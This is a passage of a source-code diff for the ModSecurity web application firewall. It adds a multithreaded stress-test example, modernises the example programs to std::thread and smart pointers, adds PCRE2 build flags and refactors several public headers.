b/examples/multithread/basic_rules.conf @@ -0,0 +1,14 @@ +SecDebugLog debug.log +SecDebugLogLevel 9 + + +SecRule REQUEST_HEADERS:User-Agent ".*" "id:1,phase:1,t:sha1,t:hexEncode,setvar:tx.ua_hash=%{MATCHED_VAR}" + +SecAction "id:2,phase:2,initcol:ip=%{REMOTE_ADDR}_%{tx.ua_hash}" + +SecRule REQUEST_HEADERS:User-Agent "@rx .*" "id:3,phase:2,setvar:ip.auth_attempt=+1" + +SecRule ARGS:foo "@rx herewego" "id:4,phase:2,setvar:ip.foo=bar,expirevar:ip.foo=2" +#SecRule ARGS:foo "@rx herewego" "id:4,phase:2,setvar:ip.foo=bar" +SecRule IP "@rx bar" "id:5,phase:2,pass" +SecRule IP:auth_attempt "@rx bar" "id:6,phase:2,pass" diff --git a/examples/multithread/inspectfile_helper.sh b/examples/multithread/inspectfile_helper.sh new file mode 100755 index 0000000000..50c5dd2444 --- /dev/null +++ b/examples/multithread/inspectfile_helper.sh @@ -0,0 +1,10 @@ +#!/bin/sh + +# deterministic helper for @inspectFile stress runs +if [ "$1" = "herewego" ]; then + echo 0 + exit 0 +fi + +echo 1 +exit 0 diff --git a/examples/multithread/inspectfile_rules.conf b/examples/multithread/inspectfile_rules.conf new file mode 100644 index 0000000000..8cc8956b27 --- /dev/null +++ b/examples/multithread/inspectfile_rules.conf @@ -0,0 +1,7 @@ +SecDebugLog debug.log +SecDebugLogLevel 3 + +SecRuleEngine On + +# ensure each transaction executes @inspectFile +SecRule ARGS:foo "@inspectFile ./inspectfile_helper.sh" "id:101,phase:2,pass,nolog,noauditlog,t:none" diff --git a/examples/multithread/multithread.cc b/examples/multithread/multithread.cc new file mode 100644 index 0000000000..56ab34fa01 --- /dev/null +++ b/examples/multithread/multithread.cc @@ -0,0 +1,133 @@ +#include +#include +#include +#include +#include +#include + +#ifndef WIN32 +#include +#endif + +#include +#include +#include + +static void process_request(modsecurity::ModSecurity *modsec, + modsecurity::RulesSet *rules, int tid, int iterations, + std::atomic *completed_threads) { + std::cout << "Hello World! It's me, thread #" << tid << std::endl; + + for (int i = 0; i != iterations; i++) { + auto modsecTransaction = std::make_unique(modsec, rules, nullptr); + + modsecTransaction->processConnection("127.0.0.1", 12345, "127.0.0.1", 80); + modsecTransaction->processURI( + "https://www.modsecurity.org/test?foo=herewego", + "GET", "1.1"); + + modsecTransaction->addRequestHeader("User-Agent", + "Basic ModSecurity example"); + modsecTransaction->processRequestHeaders(); + modsecTransaction->processRequestBody(); + + modsecTransaction->addResponseHeader("HTTP/1.1", + "200 OK"); + modsecTransaction->processResponseHeaders(200, "HTTP 1.2"); + modsecTransaction->processResponseBody(); + + modsecTransaction->processLogging(); + + std::this_thread::sleep_for(std::chrono::microseconds(100)); + } + + completed_threads->fetch_add(1); + std::cout << "Thread #" << tid << " exits" << std::endl; +} + +#ifndef WIN32 +static int count_open_fds(void) { + int count = 0; + DIR *dir = opendir("/proc/self/fd"); + if (dir == nullptr) { + return -1; + } + + while (readdir(dir) != nullptr) { + count++; + } + closedir(dir); + return count; +} +#endif + +int main (int argc, const char *argv[]) { + + auto modsec = std::make_unique(); + modsec->setConnectorInformation("ModSecurity-test v0.0.1-alpha (Simple " \ + "example on how to use ModSecurity API"); + + const char *main_rule_uri = "basic_rules.conf"; + if (argc >= 2) { + main_rule_uri = argv[1]; + } + + int thread_count = 100; + if (argc >= 3) { + thread_count = std::atoi(argv[2]); + } + + int iterations = 1000; + if (argc >= 4) { + iterations = std::atoi(argv[3]); + } + + if (thread_count <= 0 || iterations <= 0) { + std::cerr << "Usage: ./multithread [rules.conf] [threads] [iterations]" << std::endl; + return 2; + } + + auto rules = std::make_unique(); + if (rules->loadFromUri(main_rule_uri) < 0) { + std::cerr << "Problems loading the rules..." << std::endl; + std::cerr << rules->m_parserError.str() << std::endl; + return -1; + } + + std::vector threads; + threads.resize(thread_count); + std::atomic completed_threads{0}; + +#ifndef WIN32 + const int open_fds_before = count_open_fds(); + std::cout << "open_fds_before=" << open_fds_before << std::endl; +#endif + auto start = std::chrono::steady_clock::now(); + + for (auto i = 0; i != threads.size(); ++i) { + threads[i] = std::thread( + [&modsec, &rules, i, iterations, &completed_threads]() { + process_request(modsec.get(), rules.get(), static_cast(i), + iterations, &completed_threads); + }); + } + + std::this_thread::sleep_for(std::chrono::microseconds(10000)); + + for (auto i = 0; i != threads.size(); ++i) { + threads[i].join(); + } + + auto elapsed = std::chrono::steady_clock::now() - start; + std::cout << "completed_threads=" << completed_threads.load() << std::endl; + std::cout << "elapsed_ms=" + << std::chrono::duration_cast(elapsed).count() + << std::endl; + +#ifndef WIN32 + const int open_fds_after = count_open_fds(); + std::cout << "open_fds_after=" << open_fds_after << std::endl; +#endif + + return 0; +} diff --git a/examples/reading_logs_via_rule_message/Makefile.am b/examples/reading_logs_via_rule_message/Makefile.am index 797ac752bd..5a6ba74b2a 100644 --- a/examples/reading_logs_via_rule_message/Makefile.am +++ b/examples/reading_logs_via_rule_message/Makefile.am @@ -14,6 +14,7 @@ simple_request_LDADD = \ $(MAXMIND_LDADD) \ $(LUA_LDADD) \ $(PCRE_LDADD) \ + $(PCRE2_LDADD) \ $(SSDEEP_LDADD) \ $(YAJL_LDADD) @@ -32,7 +33,6 @@ simple_request_LDFLAGS = \ simple_request_CPPFLAGS = \ $(GLOBAL_CFLAGS) \ - -std=c++11 \ -I$(top_builddir)/headers \ -I$(top_builddir) \ -g \ @@ -47,6 +47,7 @@ simple_request_CPPFLAGS = \ $(LMDB_CFLAGS) \ $(LUA_CFLAGS) \ $(PCRE_CFLAGS) \ + $(PCRE2_CFLAGS) \ $(LIBXML2_CFLAGS) diff --git a/examples/reading_logs_via_rule_message/reading_logs_via_rule_message.h b/examples/reading_logs_via_rule_message/reading_logs_via_rule_message.h index 58cbba8b2f..1483c4c657 100644 --- a/examples/reading_logs_via_rule_message/reading_logs_via_rule_message.h +++ b/examples/reading_logs_via_rule_message/reading_logs_via_rule_message.h @@ -13,13 +13,19 @@ * */ -#include +#ifndef EXAMPLES_READING_LOGS_VIA_RULE_MESSAGE_READING_LOGS_VIA_RULE_MESSAGE_H_ +#define EXAMPLES_READING_LOGS_VIA_RULE_MESSAGE_READING_LOGS_VIA_RULE_MESSAGE_H_ #include #include +#include +#include +#include +#include "modsecurity/rule_message.h" -#define NUM_THREADS 100 + +constexpr auto NUM_THREADS = 100; char request_header[] = "" \ @@ -61,35 +67,21 @@ char response_body[] = "" \ char ip[] = "200.249.12.31"; -#include "modsecurity/rule_message.h" - -#ifndef EXAMPLES_READING_LOGS_VIA_RULE_MESSAGE_READING_LOGS_VIA_RULE_MESSAGE_H_ -#define EXAMPLES_READING_LOGS_VIA_RULE_MESSAGE_READING_LOGS_VIA_RULE_MESSAGE_H_ - - -struct data_ms { - modsecurity::ModSecurity *modsec; - modsecurity::RulesSet *rules; -}; - -static void *process_request(void *data) { - struct data_ms *a = (struct data_ms *)data; - modsecurity::ModSecurity *modsec = a->modsec; - modsecurity::RulesSet *rules = a->rules; - int z = 0; +static void process_request(modsecurity::ModSecurity *modsec, modsecurity::RulesSet *rules) { + for (auto z = 0; z < 10000; z++) { + auto modsecTransaction = std::make_unique(modsec, rules, nullptr); - for (z = 0; z < 10000; z++) { - modsecurity::Transaction *modsecTransaction = \ - new modsecurity::Transaction(modsec, rules, NULL); modsecTransaction->processConnection(ip, 12345, "127.0.0.1", 80); modsecTransaction->processURI(request_uri, "GET", "1.1"); - usleep(10); + std::this_thread::sleep_for(std::chrono::microseconds(10)); + modsecTransaction->addRequestHeader("Host", "net.tutsplus.com"); modsecTransaction->processRequestHeaders(); modsecTransaction->processRequestBody(); + modsecTransaction->addResponseHeader("HTTP/1.1", "200 OK"); modsecTransaction->processResponseHeaders(200, "HTTP 1.2"); @@ -97,75 +89,59 @@ static void *process_request(void *data) { (const unsigned char*)response_body, strlen((const char*)response_body)); modsecTransaction->processResponseBody(); - modsecTransaction->processLogging(); - delete modsecTransaction; + modsecTransaction->processLogging(); } - - pthread_exit(NULL); - return NULL; } - class ReadingLogsViaRuleMessage { public: - ReadingLogsViaRuleMessage(char *request_header, - char *request_uri, - char *request_body, - char *response_headers, - char *response_body, - char *ip, - const std::string &rules) : - m_request_header(request_header), - m_request_uri(request_uri), - m_request_body(request_body), - m_response_headers(response_headers), - m_response_body(response_body), - m_ip(ip), - m_rules(rules) + ReadingLogsViaRuleMessage(char *arg_request_header, + char *arg_request_uri, + char *arg_request_body, + char *arg_response_headers, + char *arg_response_body, + char *arg_ip, + const std::string &arg_rules) : + m_request_header(arg_request_header), + m_request_uri(arg_request_uri), + m_request_body(arg_request_body), + m_response_headers(arg_response_headers), + m_response_body(arg_response_body), + m_ip(arg_ip), + m_rules(arg_rules) { } - int process() { - pthread_t threads[NUM_THREADS]; - int i; - struct data_ms dms; - void *status; - - modsecurity::ModSecurity *modsec; - modsecurity::RulesSet *rules; - - modsec = new modsecurity::ModSecurity(); + int process() const { + auto modsec = std::make_unique(); modsec->setConnectorInformation("ModSecurity-test v0.0.1-alpha" \ " (ModSecurity test)"); modsec->setServerLogCb(logCb, modsecurity::RuleMessageLogProperty | modsecurity::IncludeFullHighlightLogProperty); - rules = new modsecurity::RulesSet(); + auto rules = std::make_unique(); if (rules->loadFromUri(m_rules.c_str()) < 0) { std::cout << "Problems loading the rules..." << std::endl; std::cout << rules->m_parserError.str() << std::endl; return -1; } - dms.modsec = modsec; - dms.rules = rules; + std::array threads; - for (i = 0; i < NUM_THREADS; i++) { - pthread_create(&threads[i], NULL, process_request, - reinterpret_cast(&dms)); - // process_request((void *)&dms); + for (auto i = 0; i != threads.size(); ++i) { + threads[i] = std::thread( + [&modsec, &rules]() { + process_request(modsec.get(), rules.get()); + }); } - usleep(10000); + std::this_thread::sleep_for(std::chrono::microseconds(10000)); - for (i=0; i < NUM_THREADS; i++) { - pthread_join(threads[i], &status); + for (auto i = 0; i != threads.size(); ++i) { + threads[i].join(); std::cout << "Main: completed thread id :" << i << std::endl; } - delete rules; - delete modsec; - pthread_exit(NULL); return 0; } @@ -179,18 +155,18 @@ class ReadingLogsViaRuleMessage { const modsecurity::RuleMessage *ruleMessage = \ reinterpret_cast(ruleMessagev); - std::cout << "Rule Id: " << std::to_string(ruleMessage->m_ruleId); - std::cout << " phase: " << std::to_string(ruleMessage->m_phase); + std::cout << "Rule Id: " << std::to_string(ruleMessage->m_rule.m_ruleId); + std::cout << " phase: " << std::to_string(ruleMessage->getPhase()); std::cout << std::endl; if (ruleMessage->m_isDisruptive) { std::cout << " * Disruptive action: "; - std::cout << modsecurity::RuleMessage::log(ruleMessage); + std::cout << modsecurity::RuleMessage::log(*ruleMessage); std::cout << std::endl; std::cout << " ** %d is meant to be informed by the webserver."; std::cout << std::endl; } else { std::cout << " * Match, but no disruptive action: "; - std::cout << modsecurity::RuleMessage::log(ruleMessage); + std::cout << modsecurity::RuleMessage::log(*ruleMessage); std::cout << std::endl; } } diff --git a/examples/reading_logs_via_rule_message/simple_request.cc b/examples/reading_logs_via_rule_message/simple_request.cc index 1d3b1deb23..571b574ec1 100644 --- a/examples/reading_logs_via_rule_message/simple_request.cc +++ b/examples/reading_logs_via_rule_message/simple_request.cc @@ -35,8 +35,5 @@ int main(int argc, char **argv) { response_headers, response_body, ip, rules); rlvrm.process(); - - - pthread_exit(NULL); return 0; } diff --git a/examples/reading_logs_with_offset/Makefile.am b/examples/reading_logs_with_offset/Makefile.am index b798c8c54a..a98ed48d0e 100644 --- a/examples/reading_logs_with_offset/Makefile.am +++ b/examples/reading_logs_with_offset/Makefile.am @@ -14,6 +14,7 @@ read_LDADD = \ $(LMDB_LDADD) \ $(LUA_LDADD) \ $(PCRE_LDADD) \ + $(PCRE2_LDADD) \ $(SSDEEP_LDADD) \ $(YAJL_LDADD) @@ -21,7 +22,6 @@ read_LDFLAGS = \ -L$(top_builddir)/src/.libs/ \ $(GEOIP_LDFLAGS) \ -lmodsecurity \ - -lpthread \ -lm \ -lstdc++ \ $(LMDB_LDFLAGS) \ @@ -32,7 +32,6 @@ read_LDFLAGS = \ read_CPPFLAGS = \ $(GLOBAL_CFLAGS) \ - -std=c++11 \ -I$(top_builddir)/headers \ -I$(top_builddir) \ -g \ @@ -48,6 +47,7 @@ read_CPPFLAGS = \ $(LMDB_CFLAGS) \ $(LUA_CFLAGS) \ $(PCRE_CFLAGS) \ + $(PCRE2_CFLAGS) \ $(LIBXML2_CFLAGS) diff --git a/examples/simple_example_using_c/test.c b/examples/simple_example_using_c/test.c index c7ed91b281..04575a7c08 100644 --- a/examples/simple_example_using_c/test.c +++ b/examples/simple_example_using_c/test.c @@ -47,7 +47,7 @@ int main (int argc, char **argv) msc_rules_dump(rules); ret = msc_rules_add_remote(rules, "test", - "https://www.modsecurity.org/modsecurity-regression-test-secremoterules.txt", + "https://raw.githubusercontent.com/owasp-modsecurity/ModSecurity/refs/heads/v3/master/test/modsecurity-regression-rules.txt", &error); if (ret < 0) { fprintf(stderr, "Problems loading the rules --\n"); @@ -68,6 +68,8 @@ int main (int argc, char **argv) msc_process_response_body(transaction); msc_process_logging(transaction); end: + if(error != NULL) + msc_rules_error_cleanup(error); msc_rules_cleanup(rules); msc_cleanup(modsec); diff --git a/examples/using_bodies_in_chunks/Makefile.am b/examples/using_bodies_in_chunks/Makefile.am index 799efe7815..9eb438f368 100644 --- a/examples/using_bodies_in_chunks/Makefile.am +++ b/examples/using_bodies_in_chunks/Makefile.am @@ -14,6 +14,7 @@ simple_request_LDADD = \ $(LMDB_LDADD) \ $(LUA_LDADD) \ $(PCRE_LDADD) \ + $(PCRE2_LDADD) \ $(SSDEEP_LDADD) \ $(YAJL_LDADD) @@ -21,19 +22,16 @@ simple_request_LDFLAGS = \ -L$(top_builddir)/src/.libs/ \ $(GEOIP_LDFLAGS) \ -lmodsecurity \ - -lpthread \ -lm \ -lstdc++ \ $(MAXMIND_LDFLAGS) \ $(LMDB_LDFLAGS) \ - -lpthread \ $(LUA_LDFLAGS) \ $(SSDEEP_LDFLAGS) \ $(YAJL_LDFLAGS) simple_request_CPPFLAGS = \ $(GLOBAL_CFLAGS) \ - -std=c++11 \ -I$(top_builddir)/headers \ -I$(top_builddir) \ -g \ @@ -49,6 +47,7 @@ simple_request_CPPFLAGS = \ $(LMDB_CFLAGS) \ $(LUA_CFLAGS) \ $(PCRE_CFLAGS) \ + $(PCRE2_CFLAGS) \ $(LIBXML2_CFLAGS) MAINTAINERCLEANFILES = \ diff --git a/examples/using_bodies_in_chunks/simple_request.cc b/examples/using_bodies_in_chunks/simple_request.cc index ec8795fe8f..ec1b963d52 100644 --- a/examples/using_bodies_in_chunks/simple_request.cc +++ b/examples/using_bodies_in_chunks/simple_request.cc @@ -13,7 +13,11 @@ * */ +#ifndef WIN32 #include +#else +#include +#endif #include #include @@ -72,18 +76,18 @@ static void logCb(void *data, const void *ruleMessagev) { const modsecurity::RuleMessage *ruleMessage = \ reinterpret_cast(ruleMessagev); - std::cout << "Rule Id: " << std::to_string(ruleMessage->m_ruleId); - std::cout << " phase: " << std::to_string(ruleMessage->m_phase); + std::cout << "Rule Id: " << std::to_string(ruleMessage->m_rule.m_ruleId); + std::cout << " phase: " << std::to_string(ruleMessage->getPhase()); std::cout << std::endl; if (ruleMessage->m_isDisruptive) { std::cout << " * Disruptive action: "; - std::cout << modsecurity::RuleMessage::log(ruleMessage); + std::cout << modsecurity::RuleMessage::log(*ruleMessage); std::cout << std::endl; std::cout << " ** %d is meant to be informed by the webserver."; std::cout << std::endl; } else { std::cout << " * Match, but no disruptive action: "; - std::cout << modsecurity::RuleMessage::log(ruleMessage); + std::cout << modsecurity::RuleMessage::log(*ruleMessage); std::cout << std::endl; } } diff --git a/headers/modsecurity/actions/action.h b/headers/modsecurity/actions/action.h index 374b77d6c6..e62835b2e2 100644 --- a/headers/modsecurity/actions/action.h +++ b/headers/modsecurity/actions/action.h @@ -13,41 +13,66 @@ * */ -#ifdef __cplusplus - -#include -#include -#include - -#endif - -#include "modsecurity/intervention.h" -#include "modsecurity/rule.h" -#include "modsecurity/rule_with_actions.h" - #ifndef HEADERS_MODSECURITY_ACTIONS_ACTION_H_ #define HEADERS_MODSECURITY_ACTIONS_ACTION_H_ #ifdef __cplusplus +#include +#include + namespace modsecurity { class Transaction; class RuleWithOperator; +class RuleWithActions; +class RuleMessage; namespace actions { class Action { public: + /** + * + * Define the action kind regarding to the execution time. + * + * + */ + enum class Kind { + /** + * + * Action that are executed while loading the configuration. For instance + * the rule ID or the rule phase. + * + */ + ConfigurationKind, + /** + * + * Those are actions that demands to be executed before call the operator. + * For instance the tranformations. + * + * + */ + RunTimeBeforeMatchAttemptKind, + /** + * + * Actions that are executed after the execution of the operator, only if + * the operator returned Match (or True). For instance the disruptive + * actions. + * + */ + RunTimeOnlyIfMatchKind, + }; + explicit Action(const std::string& _action) : m_isNone(false), temporaryAction(false), - action_kind(2), + action_kind(Kind::RunTimeOnlyIfMatchKind), m_name(nullptr), m_parser_payload("") { set_name_and_payload(_action); } - explicit Action(const std::string& _action, int kind) + explicit Action(const std::string& _action, Kind kind) : m_isNone(false), temporaryAction(false), action_kind(kind), @@ -56,29 +81,15 @@ class Action { set_name_and_payload(_action); } - Action(const Action &a) - : m_isNone(a.m_isNone), - temporaryAction(a.temporaryAction), - action_kind(a.action_kind), - m_name(a.m_name), - m_parser_payload(a.m_parser_payload) { } - - Action &operator=(const Action& a) { - m_isNone = a.m_isNone; - temporaryAction = a.temporaryAction; - action_kind = a.action_kind; - m_name = a.m_name; - m_parser_payload = a.m_parser_payload; - return *this; - } + Action(const Action &a) = delete; + + Action &operator=(const Action& a) = delete; virtual ~Action() { } - virtual std::string evaluate(const std::string &exp, - Transaction *transaction); virtual bool evaluate(RuleWithActions *rule, Transaction *transaction); virtual bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr ruleMessage) { + RuleMessage &ruleMessage) { return evaluate(rule, transaction); } virtual bool init(std::string *error) { return true; } @@ -87,18 +98,18 @@ class Action { void set_name_and_payload(const std::string& data) { size_t pos = data.find(":"); - std::string t = "t:"; + const char t[] = "t:"; - if (data.compare(0, t.length(), t) == 0) { + if (data.compare(0, std::size(t) - 1, t) == 0) { pos = data.find(":", 2); } if (pos == std::string::npos) { - m_name = std::shared_ptr(new std::string(data)); + m_name = std::make_shared(data); return; } - m_name = std::shared_ptr(new std::string(data, 0, pos)); + m_name = std::make_shared(data, 0, pos); m_parser_payload = std::string(data, pos + 1, data.length()); if (m_parser_payload.at(0) == '\'' && m_parser_payload.size() > 2) { @@ -109,41 +120,9 @@ class Action { bool m_isNone; bool temporaryAction; - int action_kind; + Kind action_kind; std::shared_ptr m_name; std::string m_parser_payload; - - /** - * - * Define the action kind regarding to the execution time. - * - * - */ - enum Kind { - /** - * - * Action that are executed while loading the configuration. For instance - * the rule ID or the rule phase. - * - */ - ConfigurationKind, - /** - * - * Those are actions that demands to be executed before call the operator. - * For instance the tranformations. - * - * - */ - RunTimeBeforeMatchAttemptKind, - /** - * - * Actions that are executed after the execution of the operator, only if - * the operator returned Match (or True). For instance the disruptive - * actions. - * - */ - RunTimeOnlyIfMatchKind, - }; }; diff --git a/headers/modsecurity/anchored_set_variable.h b/headers/modsecurity/anchored_set_variable.h index 5b41e8502d..5798d6ce54 100644 --- a/headers/modsecurity/anchored_set_variable.h +++ b/headers/modsecurity/anchored_set_variable.h @@ -84,6 +84,11 @@ class AnchoredSetVariable : public std::unordered_multimap *l) const; + void resolve(std::vector *l, + const variables::KeyExclusions &ke) const; + + // keep the old signatures for ABI compatibility void resolve(std::vector *l); void resolve(std::vector *l, variables::KeyExclusions &ke); @@ -91,6 +96,14 @@ class AnchoredSetVariable : public std::unordered_multimap *l); + void resolveRegularExpression(Utils::Regex *r, + std::vector *l) const; + + void resolveRegularExpression(Utils::Regex *r, + std::vector *l, + const variables::KeyExclusions &ke) const; + + // keep the old signatures for ABI compatibility void resolveRegularExpression(Utils::Regex *r, std::vector *l); diff --git a/headers/modsecurity/anchored_set_variable_translation_proxy.h b/headers/modsecurity/anchored_set_variable_translation_proxy.h index da0601bf6e..37767b980c 100644 --- a/headers/modsecurity/anchored_set_variable_translation_proxy.h +++ b/headers/modsecurity/anchored_set_variable_translation_proxy.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -42,16 +42,17 @@ class AnchoredSetVariableTranslationProxy { : m_name(name), m_fount(fount) { - m_translate = [](std::string *name, std::vector *l) { + m_translate = [](const std::string *name, std::vector *l) { for (int i = 0; i < l->size(); ++i) { VariableValue *newVariableValue = new VariableValue(name, &l->at(i)->getKey(), &l->at(i)->getKey()); const VariableValue *oldVariableValue = l->at(i); l->at(i) = newVariableValue; - for (auto &oldOrigin : oldVariableValue->getOrigin()) { - std::unique_ptr newOrigin(new VariableOrigin); - newOrigin->m_length = oldVariableValue->getKey().size(); - newOrigin->m_offset = oldOrigin->m_offset - oldVariableValue->getKey().size() - 1; - newVariableValue->addOrigin(std::move(newOrigin)); + newVariableValue->reserveOrigin(oldVariableValue->getOrigin().size()); + for (const auto &oldOrigin : oldVariableValue->getOrigin()) { + newVariableValue->addOrigin( + oldVariableValue->getKey().size(), + oldOrigin.m_offset - oldVariableValue->getKey().size() - 1 + ); } delete oldVariableValue; } @@ -99,13 +100,9 @@ class AnchoredSetVariableTranslationProxy { return nullptr; } - std::unique_ptr ret(new std::string("")); + auto ret = std::make_unique(l[0]->getValue()); - ret->assign(l.at(0)->getValue()); - - while (!l.empty()) { - auto &a = l.back(); - l.pop_back(); + for(auto a : l) { delete a; } diff --git a/headers/modsecurity/anchored_variable.h b/headers/modsecurity/anchored_variable.h index 703a4f9d10..b3cc101b35 100644 --- a/headers/modsecurity/anchored_variable.h +++ b/headers/modsecurity/anchored_variable.h @@ -47,23 +47,11 @@ class AnchoredVariable { AnchoredVariable(const AnchoredVariable &a) = delete; AnchoredVariable &operator= (const AnchoredVariable &a) = delete; - /* - : m_transaction(a.m_transaction), - m_offset(a.m_offset), - m_name(a.m_name), - m_value(a.m_value), - m_var(a.m_var) { } - */ - - ~AnchoredVariable(); + ~AnchoredVariable() = default; void unset(); void set(const std::string &a, size_t offset); void set(const std::string &a, size_t offset, size_t offsetLen); - void append(const std::string &a, size_t offset, - bool spaceSeparator = false); - void append(const std::string &a, size_t offset, - bool spaceSeparator, int size); void evaluate(std::vector *l); std::string * evaluate(); @@ -75,7 +63,7 @@ class AnchoredVariable { std::string m_value; private: - VariableValue *m_var; + VariableValue m_var; }; } // namespace modsecurity diff --git a/headers/modsecurity/audit_log.h b/headers/modsecurity/audit_log.h index e379faade0..ab1e798dd7 100644 --- a/headers/modsecurity/audit_log.h +++ b/headers/modsecurity/audit_log.h @@ -153,17 +153,18 @@ class AuditLog { bool setStorageDirMode(int permission); bool setFileMode(int permission); bool setStatus(AuditLogStatus new_status); - bool setRelevantStatus(const std::basic_string& new_relevant_status); - bool setFilePath1(const std::basic_string& path); - bool setFilePath2(const std::basic_string& path); - bool setStorageDir(const std::basic_string& path); + bool setRelevantStatus(std::string_view new_relevant_status); + bool setFilePath1(std::string_view path); + bool setFilePath2(std::string_view path); + bool setStorageDir(std::string_view path); + bool setPrefix(std::string_view prefix); bool setFormat(AuditLogFormat fmt); int getDirectoryPermission() const; int getFilePermission() const; int getParts() const; - bool setParts(const std::basic_string& new_parts); + bool setParts(std::string_view new_parts); bool setType(AuditLogType audit_type); bool init(std::string *error); @@ -171,10 +172,11 @@ class AuditLog { bool saveIfRelevant(Transaction *transaction); bool saveIfRelevant(Transaction *transaction, int parts); + bool isRelevant(int status) const; bool isRelevant(int status); - static int addParts(int parts, const std::string& new_parts); - static int removeParts(int parts, const std::string& new_parts); + static int addParts(int parts, std::string_view new_parts); + static int removeParts(int parts, std::string_view new_parts); void setCtlAuditEngineActive() { m_ctlAuditEngineActive = true; @@ -182,31 +184,32 @@ class AuditLog { bool merge(AuditLog *from, std::string *error); - std::string m_path1; - std::string m_path2; - std::string m_storage_dir; + std::string m_path1 = std::string(""); + std::string m_path2 = std::string(""); + std::string m_storage_dir = std::string(""); + std::string m_prefix = std::string(""); - AuditLogFormat m_format; + AuditLogFormat m_format = NotSetAuditLogFormat; protected: - int m_parts; + int m_parts = -1; int m_defaultParts = AAuditLogPart | BAuditLogPart | CAuditLogPart | FAuditLogPart | HAuditLogPart | ZAuditLogPart; - int m_filePermission; + int m_filePermission = -1; int m_defaultFilePermission = 0640; - int m_directoryPermission; + int m_directoryPermission = -1; int m_defaultDirectoryPermission = 0750; private: - AuditLogStatus m_status; + AuditLogStatus m_status = NotSetLogStatus; - AuditLogType m_type; - std::string m_relevant; + AuditLogType m_type = NotSetAuditLogType; + std::string m_relevant = std::string(""); - audit_log::writer::Writer *m_writer; - bool m_ctlAuditEngineActive; // rules have at least one action On or RelevantOnly + audit_log::writer::Writer *m_writer = nullptr; + bool m_ctlAuditEngineActive = false; // rules have at least one action On or RelevantOnly }; diff --git a/headers/modsecurity/collection/collection.h b/headers/modsecurity/collection/collection.h index 1ca7b0d465..352dfb7702 100644 --- a/headers/modsecurity/collection/collection.h +++ b/headers/modsecurity/collection/collection.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -16,12 +16,12 @@ #ifdef __cplusplus #include -#include #include #include #include #include #include +#include #endif @@ -46,7 +46,6 @@ class Collection { public: explicit Collection(const std::string &a) : m_name(a) { } virtual ~Collection() { } - virtual void store(std::string key, std::string value) = 0; virtual bool storeOrUpdateFirst(const std::string &key, const std::string &value) = 0; @@ -56,6 +55,8 @@ class Collection { virtual void del(const std::string& key) = 0; + virtual void setExpiry(const std::string& key, int32_t expiry_seconds) = 0; + virtual std::unique_ptr resolveFirst( const std::string& var) = 0; @@ -69,21 +70,6 @@ class Collection { variables::KeyExclusions &ke) = 0; - /* store */ - virtual void store(std::string key, std::string compartment, - std::string value) { - std::string nkey = compartment + "::" + key; - store(nkey, value); - } - - - virtual void store(std::string key, std::string compartment, - std::string compartment2, std::string value) { - std::string nkey = compartment + "::" + compartment2 + "::" + key; - store(nkey, value); - } - - /* storeOrUpdateFirst */ virtual bool storeOrUpdateFirst(const std::string &key, std::string compartment, const std::string &value) { @@ -129,6 +115,21 @@ class Collection { } + /* setExpiry */ + virtual void setExpiry(const std::string& key, std::string compartment, + int32_t expiry_seconds) { + std::string nkey = compartment + "::" + key; + setExpiry(nkey, expiry_seconds); + } + + + virtual void setExpiry(const std::string& key, std::string compartment, + std::string compartment2, int32_t expiry_seconds) { + std::string nkey = compartment + "::" + compartment2 + "::" + key; + setExpiry(nkey, expiry_seconds); + } + + /* resolveFirst */ virtual std::unique_ptr resolveFirst(const std::string& var, std::string compartment) { diff --git a/headers/modsecurity/modsecurity.h b/headers/modsecurity/modsecurity.h index 05fd179899..16a9b4bda7 100644 --- a/headers/modsecurity/modsecurity.h +++ b/headers/modsecurity/modsecurity.h @@ -38,10 +38,10 @@ * std::cout << "There is an intervention" << std::endl; * } * - * ... + * ... * * @endcode - * + * */ /** @@ -81,6 +81,11 @@ #endif +#include "modsecurity/intervention.h" +#include "modsecurity/transaction.h" +#include "modsecurity/debug_log.h" + + #ifndef HEADERS_MODSECURITY_MODSECURITY_H_ #define HEADERS_MODSECURITY_MODSECURITY_H_ @@ -160,7 +165,7 @@ namespace modsecurity { LoggingPhase, /** * Just a marking for the expected number of phases. - * + * */ NUMBER_OF_PHASES, }; @@ -170,11 +175,6 @@ namespace modsecurity { #endif - -#include "modsecurity/intervention.h" -#include "modsecurity/transaction.h" -#include "modsecurity/debug_log.h" - /** * TAG_NUM: * @@ -190,7 +190,7 @@ namespace modsecurity { #define MODSECURITY_MAJOR "3" #define MODSECURITY_MINOR "0" -#define MODSECURITY_PATCHLEVEL "9" +#define MODSECURITY_PATCHLEVEL "17" #define MODSECURITY_TAG "" #define MODSECURITY_TAG_NUM "100" @@ -198,7 +198,7 @@ namespace modsecurity { MODSECURITY_MINOR "." MODSECURITY_PATCHLEVEL \ MODSECURITY_TAG -#define MODSECURITY_VERSION_NUM 3090100 +#define MODSECURITY_VERSION_NUM 30170100 #define MODSECURITY_CHECK_VERSION(a) (MODSECURITY_VERSION_NUM <= a) @@ -286,13 +286,13 @@ class ModSecurity { void setServerLogCb(ModSecLogCb cb); /** * - * properties Properties to inform ModSecurity what kind of infornation + * properties Properties to inform ModSecurity what kind of information * is expected be returned. * */ void setServerLogCb(ModSecLogCb cb, int properties); - void serverLog(void *data, std::shared_ptr rm); + void serverLog(void *data, const RuleMessage &rm); const std::string& getConnectorInformation() const; diff --git a/headers/modsecurity/rule.h b/headers/modsecurity/rule.h index 1d5570a8df..5178ab53ba 100644 --- a/headers/modsecurity/rule.h +++ b/headers/modsecurity/rule.h @@ -13,15 +13,6 @@ * */ -#ifdef __cplusplus -#include -#include -#include -#include -#include -#include -#endif - #ifndef HEADERS_MODSECURITY_RULE_H_ #define HEADERS_MODSECURITY_RULE_H_ @@ -31,6 +22,12 @@ #ifdef __cplusplus +#include +#include +#include +#include +#include + namespace modsecurity { namespace variables { class Variable; @@ -52,7 +49,7 @@ namespace operators { class Operator; } -using TransformationResult = std::pair, +using TransformationResult = std::pair>; using 